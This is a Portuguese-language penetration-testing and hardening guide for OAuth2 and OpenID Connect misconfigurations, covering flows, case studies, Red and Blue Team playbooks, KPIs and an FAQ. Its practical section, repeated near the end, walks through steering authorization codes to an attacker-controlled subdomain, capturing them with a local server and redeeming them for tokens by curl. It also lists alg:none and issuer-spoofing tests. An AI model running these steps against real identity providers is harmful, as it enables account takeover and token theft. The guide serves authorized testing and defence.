Testes de Misconfiguração em OAuth2 e OpenID Connect

Introdução: Em um mundo onde identidades digitais são a porta de entrada para dados críticos, falhas de configuração em OAuth2 e OpenID Connect transformam-se rapidamente em vetores de comprometimento com impacto direto no negócio. Este artigo traz contexto atual, risco de negócio e um manual técnico aprofundado sobre como detectar, explorar de forma ética e corrigir misconfigurações nesses protocolos. Você encontrará fundamentos, fluxos, comando-por-comando para validação em ambientes de teste (Kali/Parrot), playbooks para Red Team e Blue Team, métricas e checklists práticos. Ao final, terá know-how para avaliar aplicações modernas que delegam autenticação e autorização a provedores de identidade (IdP) e reduzir riscos de exposição de tokens, abuso de consentimento e concessões indevidas de acesso.

Contexto Atual e Relevância Estratégica

Em 2025-2026, a adoção de arquiteturas baseadas em identidade federada cresceu de maneira exponencial, impulsionada por SaaS, microserviços e operações multicloud. Consequentemente, ataques que exploram falhas em OAuth2 e OpenID Connect (OIDC) passaram a ser prioritários nos relatórios de incidentes de grandes provedores de nuvem. A superfície de ataque não é mais apenas o aplicativo; é todo o ecossistema de confiança entre clientes, servidores de autorização, provedores de identidade e recursos que aceitam tokens JWT ou opaque.

Do ponto de vista de governança e risco, a falha mais crítica é a confiança mal concedida: aplicações que aceitam tokens sem validação do emissor, endpoints de callback mal protegidos, políticas de consentimento excessivamente permissivas, e ausência de PKCE (Proof Key for Code Exchange) em fluxos públicos. Quantos compromissos evitáveis causam interrupção de negócios, perda de dados e danos reputacionais? Suficientes para obrigar times de segurança a inserir testes de misconfiguração de OAuth2/OIDC em programas regulares de pentest, revisão de arquitetura e auditorias de conformidade.

Por que isto é relevante agora: três pontos explicam a urgência:

• Complexidade de ambientes híbridos e multicloud amplifica vetores de confiança entre provedores de identidade e aplicações.
• Automação e APIs expõem tokens e fluxos para scripts, renderizando configurações incorretas fáceis de explorar em massa.
• Regulamentações de proteção de dados e requisitos de identidade (como atualizações em frameworks de autenticação em 2025-2026) aumentaram a responsabilidade das organizações sobre gerenciamento de identidades e consentimentos.

Este capítulo contextualiza o impacto de negócio: cada token roubado pode equivaler a uma sessão legítima de um usuário privilegiado; cada callback vulnerável pode permitir redirecionamento de tokens para um domínio malicioso. Resumindo: mal configurado, OAuth2/OIDC não protege – ele delega a segurança a configurações que frequentemente são negligenciadas.

Fundamentos Técnicos do Tema

Antes de atacar ou proteger, precisamos entender o que exatamente está em jogo. OAuth2 é um framework de autorização que define vários fluxos – authorization code, implicit (desencorajado), resource owner password credentials (deprecado), client credentials e device code. OpenID Connect é uma camada de identidade construída sobre OAuth2 que introduz o ID Token (geralmente um JWT) e endpoints padronizados como /.well-known/openid-configuration.

Subtópico: Papéis e componentes

• Resource Owner – o usuário dono do recurso.
• Client – a aplicação que deseja acesso em nome do usuário.
• Authorization Server / Identity Provider (IdP) – autentica o usuário e emite tokens.
• Resource Server – a API que valida o token e expõe dados.

Subtópico: Tokens e formatos

Tokens podem ser:

• Access Token – pode ser opaco ou JWT; usado para autorizar acesso a APIs.
• ID Token – JWT emitido pelo IdP contendo afirmações sobre a autenticação do usuário.
• Refresh Token – usado para obter novos access tokens sem reautenticação.

Subtópico: Fluxos e proteções essenciais

• Authorization Code com PKCE – padrão para aplicações públicas (SPAs, mobile); PKCE evita interception de código de autorização.
• Client Credentials – para comunicação server-to-server; tokens representam a aplicação, não o usuário.
• Rotação de refresh tokens – reduzir janela de abuso em caso de roubo.
• Revogação e introspecção – endpoints do IdP para checar validade e estado de tokens.

Um elemento central de segurança é a validação do token pelo resource server: checar assinatura, issuer (iss), audience (aud), exp, nbf, azp quando aplicável, e cofatores como nonce em OIDC. Falhas frequentes incluem aceitação de tokens sem checar iss ou aud, confiar apenas em presença de assinatura sem validar chave pública do IdP, e não validar alg (permitindo downgrades para alg: none ou algoritmos fracos).

Subtópico: Vetores de misconfiguração recorrentes

• Callbacks com redirecionamentos abertos (open redirect) permitindo exfiltração de código de autorização.
• Tokens long-lived sem rotação, expondo janelas amplas de abuso.
• Provedores de identidade com consent pages padronizadas e permissivas permitindo scopes excessivos.
• Aplicações que aceitam qualquer issuer ou não validam a cadeia de confiança das chaves JWK.

Ao entender esses fundamentos fica claro que a superfície de ataque inclui não só endpoints técnicos, mas também UI de consentimento, integrações de third-party apps, e pipelines de CI/CD que podem expor credenciais de cliente ou secrets.

Arquitetura, Fluxos e Superfície de Ataque

Vamos mapear a arquitetura típica e destacar onde misconfigurações surgem. Uma arquitetura básica envolve: cliente (browser/SPAs/mobile), IdP (Auth server), aplicação backend e APIs. Em ambientes modernos, você tem múltiplos IdPs (Google, Microsoft, Okta, Auth0, Keycloak), proxies de autenticação, e gateways API que validam tokens. Cada componente pode introduzir falha.

Subtópico: Fluxo Authorization Code com PKCE (padrão moderno)

1) Cliente inicia request de autorização para o IdP com code_challenge. 2) Usuário autentica e consente scopes. 3) IdP redireciona para redirect_uri com code. 4) Cliente troca code por token no token endpoint, enviando code_verifier. 5) IdP valida code_verifier e emite tokens. Configurações incorretas em qualquer etapa (ex: redirect_uri wildcard, ausência de PKCE, token endpoint acessível sem autenticação quando deveria obrigar client secret para confidential clients) criam vetores de ataque.

Subtópico: Superfície de ataque detalhada

• Open Redirects em redirect_uri: exfiltra códigos de autorização.
• Token leakage via logs, URLs, referrers, armazenamento local inseguro (LocalStorage em SPA).
• Mis-issuance: IdP emitindo tokens com escopos ou claims indevidos por problemas de mapeamento de roles.
• Misconfigured CORS que permitem scripts de domínios maliciosos a fazerem requisições e obter tokens.
• SSO chaining: confiança entre múltiplos IdPs que pode ser abusada para trocar tokens entre domínios.

Subtópico: Pontos de prioridade para avaliação

Em uma avaliação prática, priorize:

• Endpoints de descoberta: /.well-known/openid-configuration – verificar se refletem chaves corretas JWK URI.
• JWK Set e rotação de chaves – validar alg suportados e evitar assinaturas fracas.
• Redirect URIs registradas – buscar wildcards, domínios controlados por terceiros.
• Scopes e consent screens – analisar se permissões solicitadas são legítimas.
• Uso indevido de refresh tokens em clientes públicos.

Com esse mapeamento, a superfície de ataque é compreendida não como um único ponto, mas uma cadeia de confiança que deve ser verificada em profundidade por pentesters e monitorada por defenders.

Cenários Reais e Estudos de Caso

Este capítulo traz exemplos que ilustram impactos reais de misconfiguração. Baseamos os estudos em incidentes públicos, relatórios de segurança e trabalhos de campo recentes. Quando possível, indicamos datas e fontes públicas.

Estudo de caso 1 – Comprometimento via callback mal configurado (2026)

Em 2026, uma empresa de serviços financeiros descobriu que uma aplicação interna aceitava redirect_uri com curinga subdomínio (*.example.com). Um pesquisador responsável reportou que, ao criar um subdomínio controlado, foi possível registrar um cliente e interceptar códigos de autorização redirecionados para esse subdomínio, trocando-os por tokens ativos. O incidente permitiu acesso a APIs internas por 48 horas até revogação e hardening das URIs. Aprendizado: proibir wildcards e validar hostname e path rigorosamente em registros de redirect_uri.

Estudo de caso 2 – Tokens persistentes e abuso de refresh token em 2025

Um provedor de SaaS popular deixou refresh tokens com validade de 1 ano para clientes web. Em um pentest de 2025, tokens foram extraídos de backups de logs por um atacante com acesso a storage. A empresa sofreu sessões persistentes com conta de administrador lateralmente exploradas. Medidas corretivas incluíram rotação de refresh tokens, shortening do TTL, e implementação de refresh token binding a client_id ou device fingerprint.

Estudo de caso 3 – Consent screen enganosa e abuso de scopes (2026)

Em 2026, uma análise de segurança publicada mostrou campanhas maliciosas usando aplicações autorizadas por usuários desavisados a operar no Google Workspace. Usuários concederam scopes amplos via consent screens com textos ambíguos – a resultante exfiltração de e-mails e dados organizacionais foi associada a ataques de BEC. Mensagem: reforçar UX do consentimento, monitorar aplicativos autorizados na organização com periodicidade e automatizar revalidação.

Subtópico: Lições aprendidas

• Não delegar validações críticas ao cliente – validação do iss/aud/nat deve ser no resource server.
• Principal de menor privilégio aplica-se a scopes e tokens.
• Monitoramento e alertas para eventos anômalos (novo client_id autorizado, rotação de JWKs, introspecção com falha) são essenciais para detecção precoce.

Os casos acima demonstram que misconfigurações não são só falha técnica, mas também falha de processo, UX e governança. Pentests regulares, revisão de permissão de aplicações e automação de detecção são defesas recomendadas.

Implementação Prática Step-by-Step

Nesta seção você encontrará procedimentos reproduzíveis em Kali Linux/Parrot OS, comandos curl, uso de Burp Suite, ferramentas como jwt-cli, jq, e metodologias para descobrir e explorar misconfigurações dentro de um escopo autorizado.

Subtópico: Ferramentas recomendadas

• Burp Suite / Burp Collaborator – interceptação e análise de callbacks.
• curl / httpie – requisições manuais aos endpoints de token/discovery.
• jwt-cli (jose/jwt) / jq / openssl – inspecionar e manipular JWTs.
• oidc-debugger / postman – testar fluxos OIDC.
• python3 -m http.server – para capturar redirecionamentos em testes locais.

Cenário prático obrigatório:

1. Objetivo: testar se um aplicativo web aceita redirect_uri com subdomínio injetado e permite troca de código por token.
2. Escopo: domínio alvo example-app.com e IdP idp.example.com – autorização explícita obtida por contrato de pentest.
3. Passos:
1. Identificar redirect_uri registrado no fluxo de autorização via análise de requisições ou reverse-engineering do aplicativo.
2. Testar wildcard – tente subdomínio controlado. Criar subdomínio attacker.example-app.com apontando para sua máquina de teste.
3. Inicie servidor para capturar callback:
   python3 -m http.server 8080

   1	python3 -m http.server 8080

4. Inicie fluxo de autorização no navegador apontando redirect_uri para attacker.example-app.com:
   https://idp.example.com/authorize?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fattacker.example-app.com%2Fcb&scope=openid%20profile&state=xyz&code_challenge=abc&code_challenge_method=S256

   1	https://idp.example.com/authorize?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fattacker.example-app.com%2Fcb&scope=openid%20profile&state=xyz&code_challenge=abc&code_challenge_method=S256

5. Após autenticação, observe se o código é entregue ao seu servidor. Se sim, troque o código por token no token endpoint:
   curl -s -X POST https://idp.example.com/token -d "grant_type=authorization_code&code=RECEIVED_CODE&redirect_uri=https%3A%2F%2Fattacker.example-app.com%2Fcb&client_id=CLIENT&code_verifier=abc"

   1	curl -s -X POST https://idp.example.com/token -d "grant_type=authorization_code&code=RECEIVED_CODE&redirect_uri=https%3A%2F%2Fattacker.example-app.com%2Fcb&client_id=CLIENT&code_verifier=abc"

6. Validação: se receber access_token/id_token, documente escopo, claims e TTL. Rollback: remover subdomínio e notificar time responsável; evidência deve incluir somente hashes e logs redigidos conforme escopo de divulgação responsável.

Comandos úteis para validação de tokens:

Subtópico: Testes específicos e seus comandos

• Teste de open redirect: usar lista de payloads e observar se parâmetro redirect_uri é refletido sem validação. Ferramenta: Burp Intruder/Scanner com payloads de redirecionamento.
• Teste de alg substituição: modificar header do JWT para alg: none e verificar aceitação pelo resource server.
• Teste de issuer spoofing: alterar campo iss em token (apenas em ambiente de teste) e observar se resource server valida issuer contra configuração esperada.
• Testar PKCE bypass: em clientes públicos sem PKCE, interceptar code e trocar para token em servidor separado.

Validação de logs e evidências

Ao testar, colete: request/response (sem expor tokens em texto aberto); timestamp; hashes dos tokens (SHA256); screenshots das telas de consentimento; e um resumo técnico executável. Nunca execute ações fora do escopo autorizado. Para pentest em clientes públicos, preferir flags de não destruição e divulgação responsável conforme contrato de teste.

Hardening, Controles e Melhores Práticas

Lista aprofundada de controles técnicos, arquiteturais e processuais para prevenir e mitigar misconfigurações em OAuth2/OIDC.

Subtópico: Políticas de emissão de token e configuração do IdP

• Habilitar PKCE para todos os clientes públicos. Verificar presença e obrigatoriedade de code_challenge na autorização.
• Evitar refresh tokens long-lived em clientes públicos; usar refresh token rotation e binding quando possível.
• Definir TTLs curtos para access tokens (ex: minutos a horas) e validar mechanisms de revogação e introspecção.
• Mapear e limitar scopes por cliente; aplicar princípio do menor privilégio.

Subtópico: Validação pelo Resource Server

• Validar assinatura do JWT usando JWKs do issuer; suportar apenas algoritmos robustos (RS256/ES256).
• Checar iss e aud explicitamente; rejeitar tokens com aud mismatch ou iss desconhecido.
• Implementar nonce para fluxos que o exigem e validar nbf/exp com tolerância anti clock skew configurada.
• Para tokens opacos, usar endpoint de introspecção autenticado do IdP.

Subtópico: Segurança de redirect_uri

• Registrar URIs exatas; proibir wildcards e domínios controlados por terceiros.
• Rejeitar URIs com parâmetros não previstos; validar schema e host.
• Em aplicações móveis, usar URIs custom schemes com PKCE e App-Links/Universal Links para reduzir risco de interceptação.

Subtópico: Hardening de consent screens e aplicações

• Personalizar consent pages para mostrar quais dados serão acessados, com linguagem clara. Prevenir consent phishing usando logos verificados do IdP.
• Registrar e auditar aplicações de terceiros que solicitaram acesso à organização; permitir revogação manual automatizada.
• Educar usuários e administradores sobre riscos de autorizar aplicações desconhecidas.

Subtópico: Segurança no ciclo de vida de chaves e JWKs

• Implementar rotação periódica e mecanismo de rollover de chaves JWK. Validar resource servers para buscar JWKs dinamicamente ou ter procedimento para atualização manual segura.
• Monitorar mudanças em JWK Set e alertar alterações não programadas.

Subtópico: Procedimentos operacionais

• Implementar testes automatizados CI para fluxos OAuth2/OIDC em ambientes de staging, incluindo validação de PKCE e redirect_uri.
• Requerer revisão de segurança para novos clientes registrados no IdP e para alteração de scopes.
• Auditar logs de consentimento, token issuance e introspecção regularmente para sinais de abuso.

Playbooks Operacionais para Blue Team e Red Team

Neste capítulo, apresentamos playbooks práticos, com ações, detecções e resposta. Cada playbook foi desenvolvido para ser acionável por equipes SOC e pentesters dentro de escopos autorizados.

Playbook Blue Team – Detecção e Resposta

• Objetivo: detectar abuso de tokens e eventos de misconfiguração que permitam persistência ou movimento lateral.
• Pré-requisitos: logs centralizados (API gateway, IdP logs, resource servers), SIEM com parsers para JWT/claims, rotinas de análise de consent screens.
• Detecções iniciais:
  • Emissão de refresh tokens para clientes públicos – alerta crítico.
  • Aumento súbito no número de tokens emitidos para um client_id – possível automação/abuso.
  • Introspecção de tokens por IPs não reconhecidos ou repetidos – possível abuso do endpoint introspect.
  • Alterações em JWK Set sem aprovação – possível comprometimento do IdP.
• Play de contenção:
  • Isolar client_id afetado via bloqueio de emissão pelo IdP.
  • Revogar tokens ativos associados (utilizar endpoint revocation ou forçar rotação de chaves se necessário).
  • Resetar segredo do cliente (client_secret) e aplicar reconfiguração em aplicativos confiáveis.
• Mitigação e recuperação:
  • Forçar reautenticação para usuários críticos.
  • Executar scan de aplicações para detectar redirect_uri indevidas e remover entradas inseguras.
  • Revisar logs de auditoria e coletar IOC para divulgação se necessário.

Playbook Red Team – Testes de Misconfiguração

• Objetivo: validar hipóteses de abuso em ambiente controlado para demonstrar risco e elevar prioridade para correção.
• Escopo e autorização: obrigatória autorização por escrito; definir alvo, tempo, limites de dados e não-destruição.
• Hipóteses comuns:
  • redirect_uri com wildcard é aceito.
  • resource server não valida issuer ou audience.
  • IdP aceita alg: none ou algoritmos fracos.
  • Consent screen permite scopes administrativos via client_id de baixo privilégio.
• Execução:
  • Reconhecimento de endpoints: discovery, token, introspect, revocation.
  • Testes de open redirect com criação de subdomínio temporário e captura de código.
  • Interceptação de fluxos PKCE para tentar reuse do code sem code_verifier.
  • Enviar payloads para validar CORS e CSP mal configurados que possam permitir exfiltração de tokens.
• Entrega de evidência: relatório técnico com PoC, hashes dos tokens, logs, prints e recomendações técnicas. Evitar anexar tokens em texto aberto; use redatores e hashes para comprovação.

Métricas, KPIs e Auditoria Técnica

Medir segurança em identidade requer indicadores que capturem exposição e eficácia das medidas aplicadas. Aqui estão KPIs práticos, métricas técnicas e como instrumentá-los.

KPIs recomendados

• Percentual de clientes públicos que utilizam PKCE – meta: 100% para SPAs/mobiles.
• Tempo médio de vida (TTL) de access tokens e refresh tokens – meta: access token <= 1 hora, refresh token com rotação e TTL menor que 30 dias para clientes confidenciais.
• Número de aplicações registradas que pedem scopes administrativos – meta: reduzir via revisão trimestral.
• Taxa de revogação por incidente – tempo médio para revogar client_id ou tokens após detecção.

Métricas instrumentáveis no SIEM

• Eventos de token issuance por client_id por minuto – detectar surtos.
• Falhas de verificação de assinatura no resource server – indicar JWK mismatch ou rotacionamento.
• Requests ao endpoint /.well-known/openid-configuration e jwks.json originados de IPs suspeitos – possível fingerprinting por atacantes.
• Fluxos de consent com rejeição – indicadores de phishing de consent screen.

Auditoria técnica

Auditorias devem incluir: revisão de registro de redirect_uris, análise de clientes confidenciais vs públicos, verificação de configurações de grant types permitidos e revisão dos logs de introspecção e revogação. Automatize via scripts que consultem APIs do IdP para extrair configuração e gerar relatórios CSV para revisão anual/trimestral.

Erros Comuns, Armadilhas e Correções

Segue uma lista detalhada de erros comuns, explicação técnica do impacto e correções recomendadas. Para cada item, descrevemos como testar, confirmar e remediar.

Erro 1: aceitação de redirect_uri com wildcard

• Impacto: interceptação de código de autorização e troca por tokens.
• Teste: criar subdomínio controlado e validar redirecionamento do código.
• Correção: registrar URIs exatas e validar host e path no IdP; bloquear wildcards.

Erro 2: ausência de validação de issuer ou audience

• Impacto: resource server aceita tokens emitidos por IdP não autorizado ou tokens manipulados.
• Teste: emitir token com iss modificado e observar aceitação pelo resource server em ambiente de teste.
• Correção: configurar resource servers para validar iss e aud estritamente e manter lista de IdPs confiáveis.

Erro 3: uso de alg: none ou suporte a algoritmos fracos

• Impacto: pode permitir criação de tokens forjados que bypassam assinatura.
• Teste: alterar header do JWT para alg: none e observar aceitação.
• Correção: rejeitar tokens sem assinatura ou com algoritmos fora da whitelist; atualizar bibliotecas JWT.

Erro 4: tokens expostos em logs e URLs

• Impacto: roubo de tokens via logs, histórico de navegador ou referrer.
• Teste: verificar logs de servidor e proxy para ocorrência de tokens em query string.
• Correção: nunca transmitir tokens via query string, usar body em POST; sanitizar logs; token redaction.

Erro 5: scopes excessivos e consent screens confusas

• Impacto: usuários concedem acesso que não entendem, possibilitando exfiltração de dados.
• Teste: revisar consent flows e comparar scopes solicitados vs necessário.
• Correção: reduzir scopes, melhorar texto da consent screen, exigir reconsentimento periodicamente.

FAQ Técnico para Busca Orgânica

Esta seção responde perguntas frequentes objetivamente, com foco em snippets e intenção prática.

Pergunta 1: O que é PKCE e por que é importante?

Resposta: PKCE (Proof Key for Code Exchange) é um mecanismo que adiciona um code_verifier e code_challenge ao fluxo de authorization code para evitar que um código de autorização interceptado seja trocado por um token por um atacante que não possua o code_verifier original. Essencial para clientes públicos como SPAs e mobile.

Pergunta 2: Como testamos se uma redirect_uri é vulnerável a open redirect?

Resposta: Tente redirecionar o callback para um domínio controlado por você e veja se o IdP permite. Ferramentas: Burp Suite para captura, e um servidor simples (python3 -m http.server) para receber o código. Faça apenas em escopo autorizado.

Pergunta 3: Como validar um JWT emitido pelo IdP?

Resposta: Verifique assinatura usando JWKs do issuer, confirme iss e aud, e cheque exp/nbf. Utilize biblioteca JWT segura (ex: jose) e endpoints /.well-known/jwks.json para obter chaves públicas.

Pergunta 4: Devo armazenar access tokens no LocalStorage?

Resposta: Não para SPAs que correm em browsers, pois LocalStorage é vulnerável a XSS. Prefira cookies HttpOnly com SameSite quando possível, ou arquitetura que reduz exposição de tokens no browser.

Pergunta 5: O que é token binding e devo implementá-lo?

Resposta: Token binding associa tokens a um contexto específico (device, client secret), dificultando seu uso por terceiros. É recomendado quando suportado; alternativas incluem refresh token rotation e client certificate mutual TLS (mTLS) para clients confidenciais.

Pergunta 6: Como detectar abuso de refresh token?

Resposta: Monitorar padrões de rotação, geolocalização variada, solicitações de refresh por muitos IPs e introspecção por IPs desconhecidos. Implementar alertas de anomalia e revogação automática em caso de suspeita.

Pergunta 7: O que fazer se um client_secret for exposto?

Resposta: Imediatamente rotacionar client_secret, bloquear o client_id afetado, auditar logs para uso indevido e reemitir credenciais somente após validação de segurança do cliente.

Pergunta 8: Qual é a diferença entre access token opaco e JWT?

Resposta: Access token opaco é um identificador que requer introspecção pelo IdP para informações; JWT contém claims auto-contidas e pode ser validado offline. JWT traz conveniência, mas exige validação de assinatura e cuidado com revogação.

Pergunta 9: Como validar que uma aplicação de terceiros é segura para autorizar?

Resposta: Avalie client_id, owner, scopes requisitados, data de criação, reputação do desenvolvedor e logs de atividade. Em ambientes corporativos, automatize aprovação via whitelist e revisão periódica.

Pergunta 10: Quais logs são críticos para auditoria de OAuth2/OIDC?

Resposta: Token issuance logs, introspection/revocation requests, consent grants, client registration/modification events, falhas de validação de assinatura/jwk mismatch e eventos de rotação de chaves.

Considerações Finais

OAuth2 e OpenID Connect são potentes, mas perigosos quando mal configurados. Em 2025-2026 vimos aumento na complexidade operacional e, junto com isso, maior incidência de misconfigurações exploráveis em escala. A defesa efetiva exige uma combinação de controles técnicos – PKCE, validação rigorosa de tokens, rotação de chaves, TTLs curtos – com processos de governança: revisão de aplicações, auditoria de consent e automação de detecção.

Red Team e Blue Team devem trabalhar em sinergia: provas de conceito que demonstram risco ajudam a priorizar correções; detecções bem calibradas reduzem tempo de resposta e janela de exposição. Ferramentas e automações são essenciais, mas não substituem políticas e revisão humana. Lembre-se: qualquer token é tão seguro quanto o ponto mais fraco no caminho entre o usuário e o resource server.

Se você é responsável por segurança de identidade, comece por auditar suas redirect_uris, exigir PKCE para clientes públicos, e instrumentar o SIEM para eventos de token issuing e introspection. A identidade é o novo perímetro – trate-a com a mesma disciplina que trataria ativos críticos.

Recursos Visuais Sugeridos

Materiais públicos com diagramas, arquiteturas e visuais oficiais para apoiar o estudo do tema.

• MITRE ATT&CK – matriz visual de táticas, técnicas e procedimentos.
• CISA Resources – alertas, advisories e diagramas de arquitetura defensiva.
• NIST Cybersecurity Framework – figuras oficiais e referências de controles.
• ENISA – relatórios anuais com gráficos e mapas de ameaça.
• Kali Linux – documentação oficial com fluxos práticos.
• Parrot Security – documentação oficial com arquitetura modular.

Referências

• OAuth 2.0 RFC 6749 – https://tools.ietf.org/html/rfc6749
• OAuth 2.0 for Native Apps (RFC 8252) – https://datatracker.ietf.org/doc/html/rfc8252
• PKCE RFC 7636 – https://tools.ietf.org/html/rfc7636
• OpenID Connect Core 1.0 – https://openid.net/specs/openid-connect-core-1_0.html
• OAuth 2.1 Draft – https://www.rfc-editor.org/info/rfc9126
• OWASP OAuth2 Security Cheat Sheet – https://cheatsheetseries.owasp.org/cheatsheets/OAuth_Security_Cheat_Sheet.html
• NIST SP 800-63B Digital Identity Guidelines – https://pages.nist.gov/800-63-3/sp800-63b.html
• Auth0 Blog – Security Best Practices for OAuth 2.0 and OpenID Connect – https://auth0.com/blog/oauth2-and-openid-connect-security-best-practices/
• Okta Developer – OAuth 2.0 and OIDC documentation – https://developer.okta.com/docs/concepts/oauth-openid/
• Google Identity Platform – OAuth 2.0 for Web Server Applications – https://developers.google.com/identity/protocols/oauth2
• Microsoft Identity Platform – OAuth 2.0 and OpenID Connect protocols – https://learn.microsoft.com/azure/active-directory/develop/v2-protocols-oidc
• MITRE ATT&CK – User Account and Access Management techniques – https://attack.mitre.org/techniques/T1078/
• JWT.io – Debugger and references – https://jwt.io/
• CISA – Advisories and guidance portal – https://www.cisa.gov/uscert/alerts

1. Preparação: obtenha autorização escrita para testar client_id=CLIENT no domínio exemplo. Crie subdomínio temporário attacker.example.com apontando para sua VM de teste.
2. Iniciar captura: rode servidor local para receber callback:
   
   python3 -m http.server 8080

   1	python3 -m http.server 8080

3. Iniciar fluxo de autorização no navegador:
   
   https://idp.example.com/authorize?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcb&scope=openid%20email&state=xyz&code_challenge=XYZ&code_challenge_method=S256

   1	https://idp.example.com/authorize?response_type=code&client_id=CLIENT&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcb&scope=openid%20email&state=xyz&code_challenge=XYZ&code_challenge_method=S256

4. Capturar código: se recebeu GET /cb?code=ABC&state=xyz no servidor, você tem o código de autorização.
5. Trocar código por token:
   
   curl -s -X POST https://idp.example.com/token \ -d "grant_type=authorization_code&code=ABC&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcb&client_id=CLIENT&code_verifier=XYZ" | jq .

   1 2	curl -s -X POST https://idp.example.com/token \ -d "grant_type=authorization_code&code=ABC&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcb&client_id=CLIENT&code_verifier=XYZ" | jq .

   Validação: se receber access_token/id_token, documente scope, exp e claims.

6. Reagendamento de rollback: remova subdomínio attacker.example.com, notifique o time e peça bloqueio do client_id caso haja abuso. Apresente evidências com hashes SHA256 do token recebido, sem divulgar token em texto plano:
   
   echo -n "<TOKEN>" | sha256sum

   1	echo -n "<TOKEN>" | sha256sum

Placeholder

Checklist Blue Team:

• Ativar logs de token issuance e introspection.
• Configurar alertas para emissão anômala por client_id.
• Verificar e bloquear redirect_uris com wildcard.
• Forçar PKCE para clientes públicos.
• Implementar rotação de JWKs e monitorar alterações.
• Automatizar revisão de aplicações autorizadas (quarterly).
• Sanitizar logs para evitar exfiltração de tokens.
• Documentar processos de revogação e rotacionamento de client secrets.

Checklist Red Team:

• Obter autorização por escrito com escopo definido.
• Enumerar endpoints: discovery, token, introspect, revocation, jwks.
• Testar redirect_uri para open redirects e wildcards.
• Testar PKCE bypass e validação de alg no resource server.
• Evitar exfiltração de dados sensíveis nos relatórios; usar hashes para comprovação.
• Preparar PoC controlado e coordenar com Blue Team para acordo de divulgação.
• Registrar todas as ações com timestamps e evidências técnicas.

Placeholder

Recursos Visuais Sugeridos:

• OpenID Connect Core – diagramas oficiais – https://openid.net/specs/openid-connect-core-1_0.html
• OAuth 2.0 and OpenID Connect Diagram – OAuth.net – https://oauth.net/2/
• RFC 7636 (PKCE) – ilustração do fluxo – https://tools.ietf.org/html/rfc7636
• JWT.io Debugger (visualização de JWTs) – https://jwt.io/
• Auth0 Architecture Diagrams – https://auth0.com/docs/architecture
• Google Identity Platform diagrams – https://developers.google.com/identity